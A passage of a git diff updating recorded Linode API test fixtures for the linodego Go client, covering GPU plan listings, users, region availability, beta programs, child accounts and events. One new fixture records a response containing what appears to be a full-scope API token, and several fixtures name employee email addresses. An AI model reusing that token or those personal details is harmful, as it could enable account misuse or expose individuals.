8, "gpus": 1, "network_out": 10000, "class": "gpu", "successor": null}, {"id": "g1-gpu-rtx6000-2", "label": "Dedicated 64GB + RTX6000 GPU x2", "price": {"hourly": 3.0, "monthly": 2000.0}, - "addons": {"backups": {"price": {"hourly": 0.12, "monthly": 80.0}}}, "memory": - 65536, "disk": 1310720, "transfer": 20000, "vcpus": 16, "gpus": 2, "network_out": - 10000, "class": "gpu", "successor": null}, {"id": "g1-gpu-rtx6000-3", "label": - "Dedicated 96GB + RTX6000 GPU x3", "price": {"hourly": 4.5, "monthly": 3000.0}, - "addons": {"backups": {"price": {"hourly": 0.18, "monthly": 120.0}}}, "memory": - 98304, "disk": 1966080, "transfer": 20000, "vcpus": 20, "gpus": 3, "network_out": - 10000, "class": "gpu", "successor": null}, {"id": "g1-gpu-rtx6000-4", "label": - "Dedicated 128GB + RTX6000 GPU x4", "price": {"hourly": 6.0, "monthly": 4000.0}, - "addons": {"backups": {"price": {"hourly": 0.24, "monthly": 160.0}}}, "memory": - 131072, "disk": 2621440, "transfer": 20000, "vcpus": 24, "gpus": 4, "network_out": - 10000, "class": "gpu", "successor": null}], "page": 1, "pages": 1, "results": - 28}' + "region_prices": [], "addons": {"backups": {"price": {"hourly": 0.12, "monthly": + 80.0}, "region_prices": []}}, "memory": 65536, "disk": 1310720, "transfer": + 20000, "vcpus": 16, "gpus": 2, "network_out": 10000, "class": "gpu", "successor": + null}, {"id": "g1-gpu-rtx6000-3", "label": "Dedicated 96GB + RTX6000 GPU x3", + "price": {"hourly": 4.5, "monthly": 3000.0}, "region_prices": [], "addons": + {"backups": {"price": {"hourly": 0.18, "monthly": 120.0}, "region_prices": []}}, + "memory": 98304, "disk": 1966080, "transfer": 20000, "vcpus": 20, "gpus": 3, + "network_out": 10000, "class": "gpu", "successor": null}, {"id": "g1-gpu-rtx6000-4", + "label": "Dedicated 128GB + RTX6000 GPU x4", "price": {"hourly": 6.0, "monthly": + 4000.0}, "region_prices": [], "addons": {"backups": {"price": {"hourly": 0.24, + "monthly": 160.0}, "region_prices": []}}, "memory": 131072, "disk": 2621440, + "transfer": 20000, "vcpus": 24, "gpus": 4, "network_out": 10000, "class": "gpu", + "successor": null}], "page": 1, "pages": 1, "results": 37}' headers: Access-Control-Allow-Credentials: - "true" @@ -133,19 +271,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -154,9 +296,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/ExampleListUsers.yaml b/test/integration/fixtures/ExampleListUsers.yaml index 10273dec5..18289558a 100644 --- a/test/integration/fixtures/ExampleListUsers.yaml +++ b/test/integration/fixtures/ExampleListUsers.yaml @@ -11,13 +11,14 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/account/users + url: https://api.linode.com/v4beta/account/users?page=1 method: GET response: - body: '{"data": [{"username": "lgarber-dev", "email": "lgarber@akamai.com", "restricted": - false, "ssh_keys": ["tf_test_authorized_keys", "main", "tf_test_authorized_keys", - "dev-server-rsa", "tf_test_authorized_keys"], "tfa_enabled": true, "verified_phone_number": - null, "password_created": null}], "page": 1, "pages": 1, "results": 1}' + body: '{"data": [{"username": "ErikZilber", "email": "ezilber@akamai.com", "restricted": + false, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": "+11234567890", + "password_created": "2018-01-02T03:04:05", "last_login": {"login_datetime": + "2018-01-02T03:04:05", "status": "successful"}, "user_type": "default"}], "page": + 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -32,8 +33,6 @@ interactions: Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 - Content-Length: - - "327" Content-Security-Policy: - default-src 'none' Content-Type: @@ -43,6 +42,7 @@ interactions: Strict-Transport-Security: - max-age=31536000 Vary: + - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: @@ -55,7 +55,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestAccountAvailability_Get.yaml b/test/integration/fixtures/TestAccountAvailability_Get.yaml index a511657de..06ae98b96 100644 --- a/test/integration/fixtures/TestAccountAvailability_Get.yaml +++ b/test/integration/fixtures/TestAccountAvailability_Get.yaml @@ -38,7 +38,7 @@ interactions: Content-Type: - application/json Expires: - - Tue, 16 Apr 2024 20:58:13 GMT + - Mon, 17 Jun 2024 15:46:53 GMT Pragma: - no-cache Strict-Transport-Security: @@ -54,10 +54,7 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - account:read_write databases:read_write domains:read_write events:read_write - firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write - longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write - volumes:read_write vpc:read_write + - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: diff --git a/test/integration/fixtures/TestAccountAvailability_List.yaml b/test/integration/fixtures/TestAccountAvailability_List.yaml index 27506a608..b5d9e7f9d 100644 --- a/test/integration/fixtures/TestAccountAvailability_List.yaml +++ b/test/integration/fixtures/TestAccountAvailability_List.yaml @@ -11,7 +11,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/account/availability + url: https://api.linode.com/v4beta/account/availability?page=1 method: GET response: body: '{"data": [{"region": "us-central", "available": ["Linodes", "NodeBalancers", @@ -31,8 +31,8 @@ interactions: ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": []}, {"region": "ap-southeast", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": []}, {"region": "us-iad", "available": - ["Linodes", "NodeBalancers", "Block Storage"], "unavailable": ["Kubernetes"]}, - {"region": "us-ord", "available": ["Linodes", "NodeBalancers", "Block Storage", + ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": + []}, {"region": "us-ord", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": []}, {"region": "fr-par", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": []}, {"region": "us-sea", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], @@ -50,7 +50,10 @@ interactions: "Kubernetes"], "unavailable": []}, {"region": "id-cgk", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": []}, {"region": "us-lax", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], - "unavailable": []}], "page": 1, "pages": 1, "results": 25}' + "unavailable": []}, {"region": "gb-lon", "available": ["Linodes", "NodeBalancers", + "Block Storage", "Kubernetes"], "unavailable": []}, {"region": "au-mel", "available": + ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": + []}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" @@ -71,7 +74,7 @@ interactions: Content-Type: - application/json Expires: - - Tue, 16 Apr 2024 20:58:12 GMT + - Mon, 17 Jun 2024 15:46:53 GMT Pragma: - no-cache Strict-Transport-Security: @@ -88,10 +91,7 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - account:read_write databases:read_write domains:read_write events:read_write - firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write - longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write - volumes:read_write vpc:read_write + - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: diff --git a/test/integration/fixtures/TestAccountBetaPrograms.yaml b/test/integration/fixtures/TestAccountBetaPrograms.yaml index c3040b623..5625f5244 100644 --- a/test/integration/fixtures/TestAccountBetaPrograms.yaml +++ b/test/integration/fixtures/TestAccountBetaPrograms.yaml @@ -14,30 +14,21 @@ interactions: url: https://api.linode.com/v4beta/betas?page=1 method: GET response: - body: '{"data": [{"id": "vpc_beta", "label": "Virtual Private Cloud (VPC) Pre-Registration", - "description": "VPC is coming to beta in select data centers soon! Virtual Private - Cloud (VPC) solution. A VPC is an isolated network that enables cloud resources - to privately communicate with each other and selectively gate access to the - public internet or other private networks. VPC will be available at no additional - cost both during the beta and when it enters general availability.\r\n\r\nPlease - note: VPC is not currently available in beta testing. By signing up to participate - in this beta when it becomes available, you consent to be subscribed to receive - emails from Akamai cloud computing services marketing and be contacted via email - when VPC is available.", "started": "2018-01-02T03:04:05", "ended": null, "greenlight_only": - false, "more_info": "https://www.linode.com/green-light/"}, {"id": "global_load_balancer_beta", - "label": "Akamai Global Load Balancer Pre-Registration", "description": "The - Akamai Global Load Balancer (AGLB) is a layer 4 and 7 load balancer that distributes - traffic based on performance, weight, and content (HTTP headers, query strings, - etc.). The AGLB is a multi-region, multicloud, independent of Akamai Delivery, - and built for East-West and North-South traffic. Key features include multi-region - load balancing and method selection. Beta for this product is coming soon\u2013 - sign up to be contacted first when AGLB is available.\r\n\r\nPlease note: Akamai - Global Load Balancer is not currently available in beta testing. By signing - up to participate in this beta when it becomes available, you consent to be - subscribed to receive emails from Akamai cloud computing services marketing - and be contacted via email when the beta period begins.", "started": "2018-01-02T03:04:05", - "ended": null, "greenlight_only": false, "more_info": "https://www.linode.com/green-light/"}], - "page": 1, "pages": 1, "results": 2}' + body: '{"data": [{"id": "global_load_balancer_beta", "label": "Akamai Global Load + Balancer Pre-Registration", "description": "The Akamai Cloud Load Balancer (ACLB) + (formerly referred to as Akamai Global Load Balancer) is a layer 4 and 7 load + balancer that distributes traffic based on performance, weight, and content + (HTTP headers, query strings, etc.). The ACLB is a multi-region, multicloud, + independent of Akamai Delivery, and built for East-West and North-South traffic. + Key features include multi-region load balancing and method selection. Beta + for this product is coming soon\u2013 sign up to be contacted first when ACLB + is available.\r\n\r\nPlease note: Akamai Cloud Load Balancer is not currently + available in beta testing. By signing up to participate in this beta when it + becomes available, you consent to be subscribed to receive emails from Akamai + cloud computing services marketing and be contacted via email when the beta + period begins.", "started": "2018-01-02T03:04:05", "ended": null, "greenlight_only": + false, "more_info": "https://www.linode.com/green-light/"}], "page": 1, "pages": + 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -50,19 +41,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 17 Jun 2024 15:46:53 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -73,14 +68,14 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"id":"vpc_beta"}' + body: '{"id":"global_load_balancer_beta"}' form: {} headers: Accept: @@ -105,15 +100,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 17 Jun 2024 15:46:53 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -128,7 +127,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -144,33 +143,27 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/account/betas + url: https://api.linode.com/v4beta/account/betas?page=1 method: GET response: body: '{"data": [{"id": "global_load_balancer_beta", "label": "Akamai Global Load Balancer Pre-Registration", "enrolled": "2018-01-02T03:04:05", "description": - "The Akamai Global Load Balancer (AGLB) is a layer 4 and 7 load balancer that - distributes traffic based on performance, weight, and content (HTTP headers, - query strings, etc.). The AGLB is a multi-region, multicloud, independent of - Akamai Delivery, and built for East-West and North-South traffic. Key features - include multi-region load balancing and method selection. Beta for this product - is coming soon\u2013 sign up to be contacted first when AGLB is available.\r\n\r\nPlease - note: Akamai Global Load Balancer is not currently available in beta testing. - By signing up to participate in this beta when it becomes available, you consent - to be subscribed to receive emails from Akamai cloud computing services marketing - and be contacted via email when the beta period begins.", "started": "2018-01-02T03:04:05", - "ended": null}, {"id": "vpc_beta", "label": "Virtual Private Cloud (VPC) Pre-Registration", - "enrolled": "2018-01-02T03:04:05", "description": "VPC is coming to beta in - select data centers soon! Virtual Private Cloud (VPC) solution. A VPC is an - isolated network that enables cloud resources to privately communicate with - each other and selectively gate access to the public internet or other private - networks. VPC will be available at no additional cost both during the beta and - when it enters general availability.\r\n\r\nPlease note: VPC is not currently - available in beta testing. By signing up to participate in this beta when it - becomes available, you consent to be subscribed to receive emails from Akamai - cloud computing services marketing and be contacted via email when VPC is available.", - "started": "2018-01-02T03:04:05", "ended": null}], "page": 1, "pages": 1, "results": - 2}' + "The Akamai Cloud Load Balancer (ACLB) (formerly referred to as Akamai Global + Load Balancer) is a layer 4 and 7 load balancer that distributes traffic based + on performance, weight, and content (HTTP headers, query strings, etc.). The + ACLB is a multi-region, multicloud, independent of Akamai Delivery, and built + for East-West and North-South traffic. Key features include multi-region load + balancing and method selection. Beta for this product is coming soon\u2013 sign + up to be contacted first when ACLB is available.\r\n\r\nPlease note: Akamai + Cloud Load Balancer is not currently available in beta testing. By signing up + to participate in this beta when it becomes available, you consent to be subscribed + to receive emails from Akamai cloud computing services marketing and be contacted + via email when the beta period begins.", "started": "2018-01-02T03:04:05", "ended": + null}, {"id": "vpc_beta", "label": "Virtual Private Cloud (VPC) Pre-Registration", + "enrolled": "2018-01-02T03:04:05", "description": "VPC is now generally available + for all customers. Select VPC in the side navigation to get started.", "started": + "2018-01-02T03:04:05", "ended": "2018-01-02T03:04:05"}], "page": 1, "pages": + 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" @@ -183,19 +176,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 17 Jun 2024 15:46:53 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: @@ -206,7 +203,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -227,17 +224,17 @@ interactions: response: body: '{"id": "global_load_balancer_beta", "label": "Akamai Global Load Balancer Pre-Registration", "enrolled": "2018-01-02T03:04:05", "description": "The Akamai - Global Load Balancer (AGLB) is a layer 4 and 7 load balancer that distributes - traffic based on performance, weight, and content (HTTP headers, query strings, - etc.). The AGLB is a multi-region, multicloud, independent of Akamai Delivery, - and built for East-West and North-South traffic. Key features include multi-region - load balancing and method selection. Beta for this product is coming soon\u2013 - sign up to be contacted first when AGLB is available.\r\n\r\nPlease note: Akamai - Global Load Balancer is not currently available in beta testing. By signing - up to participate in this beta when it becomes available, you consent to be - subscribed to receive emails from Akamai cloud computing services marketing - and be contacted via email when the beta period begins.", "started": "2018-01-02T03:04:05", - "ended": null}' + Cloud Load Balancer (ACLB) (formerly referred to as Akamai Global Load Balancer) + is a layer 4 and 7 load balancer that distributes traffic based on performance, + weight, and content (HTTP headers, query strings, etc.). The ACLB is a multi-region, + multicloud, independent of Akamai Delivery, and built for East-West and North-South + traffic. Key features include multi-region load balancing and method selection. + Beta for this product is coming soon\u2013 sign up to be contacted first when + ACLB is available.\r\n\r\nPlease note: Akamai Cloud Load Balancer is not currently + available in beta testing. By signing up to participate in this beta when it + becomes available, you consent to be subscribed to receive emails from Akamai + cloud computing services marketing and be contacted via email when the beta + period begins.", "started": "2018-01-02T03:04:05", "ended": null}' headers: Access-Control-Allow-Credentials: - "true" @@ -250,21 +247,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 - Content-Length: - - "970" + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 17 Jun 2024 15:46:53 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: @@ -275,7 +274,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestAccountChild_basic.yaml b/test/integration/fixtures/TestAccountChild_basic.yaml new file mode 100644 index 000000000..e554ea761 --- /dev/null +++ b/test/integration/fixtures/TestAccountChild_basic.yaml @@ -0,0 +1,187 @@ +--- +version: 1 +interactions: +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + url: https://api.linode.com/v4beta/account/child-accounts?page=1 + method: GET + response: + body: '{"data": [{"company": "DX Child Account", "email": "dl-linode-dev-dx@akamai.com", + "first_name": "DX-Child", "last_name": "Team", "address_1": "", "address_2": + "", "city": "", "state": "", "zip": "", "country": "", "phone": "", "balance": + 0.0, "tax_id": "", "billing_source": "akamai", "credit_card": {"last_four": + null, "expiry": null}, "balance_uninvoiced": 0.0, "active_since": "2018-01-02T03:04:05", + "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", + "Kubernetes", "Cloud Firewall", "Vlans", "LKE HA Control Planes", "Machine Images", + "VPCs"], "active_promotions": [], "euuid": "E89C475E-7476-4B95-95EA82BB4EE866E3"}], + "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - private, max-age=0, s-maxage=0, no-cache, no-store + - private, max-age=60, s-maxage=60 + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Server: + - nginx + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Accept-Encoding + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - child_account:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "1200" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + url: https://api.linode.com/v4beta/account/child-accounts/E89C475E-7476-4B95-95EA82BB4EE866E3 + method: GET + response: + body: '{"company": "DX Child Account", "email": "dl-linode-dev-dx@akamai.com", + "first_name": "DX-Child", "last_name": "Team", "address_1": "", "address_2": + "", "city": "", "state": "", "zip": "", "country": "", "phone": "", "balance": + 0.0, "tax_id": "", "billing_source": "akamai", "credit_card": {"last_four": + null, "expiry": null}, "balance_uninvoiced": 0.0, "active_since": "2018-01-02T03:04:05", + "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", + "Kubernetes", "Cloud Firewall", "Vlans", "LKE HA Control Planes", "Machine Images", + "VPCs"], "active_promotions": [], "euuid": "E89C475E-7476-4B95-95EA82BB4EE866E3"}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - private, max-age=0, s-maxage=0, no-cache, no-store + - private, max-age=60, s-maxage=60 + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Server: + - nginx + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Accept-Encoding + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - child_account:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "1200" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + url: https://api.linode.com/v4beta/account/child-accounts/E89C475E-7476-4B95-95EA82BB4EE866E3/token + method: POST + response: + body: '{"id": 118940, "scopes": "*", "created": "2018-01-02T03:04:05", "label": + "dx-parent-account_411983_1709135656", "token": "bc15402a4afa325689ed1c208607394f6f180121a52e53889e84bf28b2c0c5cd", + "expiry": "2018-01-02T03:04:05"}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - private, max-age=60, s-maxage=60 + Content-Length: + - "221" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Server: + - nginx + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - child_account:read_write + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "1200" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" diff --git a/test/integration/fixtures/TestAccountEvents_List.yaml b/test/integration/fixtures/TestAccountEvents_List.yaml index 227515af1..f2b895f8d 100644 --- a/test/integration/fixtures/TestAccountEvents_List.yaml +++ b/test/integration/fixtures/TestAccountEvents_List.yaml @@ -15,73 +15,262 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.144.192.62,139.144.192.60,139.144.192.61,139.144.192.53,139.144.192.54,139.144.192.67,139.144.192.69,139.144.192.66,139.144.192.52,139.144.192.68", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", - "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage - Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", - "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "eu-west", "label": "London, UK", "country": "uk", "capabilities": ["Linodes", + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 